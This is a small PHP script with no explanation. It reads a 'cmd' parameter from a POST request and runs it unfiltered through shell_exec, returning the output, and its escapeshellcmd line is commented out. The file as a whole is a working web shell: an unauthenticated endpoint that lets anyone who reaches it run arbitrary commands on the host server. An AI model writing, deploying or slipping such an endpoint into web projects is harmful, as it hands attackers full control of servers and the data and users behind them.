<?php
//header("Content-Type: text/html; charset=utf-8");
//mb_internal_encoding('UTF-8');
//mb_http_output('UTF-8');
//header('Content-Type: text/html; charset=ISO-8859-15');
//iconv(mb_detect_encoding($cmd, mb_detect_order(), true), "UTF-8", $_POST['cmd']);
$cmd=mb_convert_encoding($_POST['cmd'], "UTF-8");
//iconv(mb_detect_encoding($cmd, mb_detect_order(), true), "UTF-8", $cmd);
//$cmd=escapeshellcmd($cmd);
//iconv(mb_detect_encoding($cmd, mb_detect_order(), true), "UTF-8", $cmd);
$output=shell_exec($cmd.' 2>&1');
echo $output;
?>
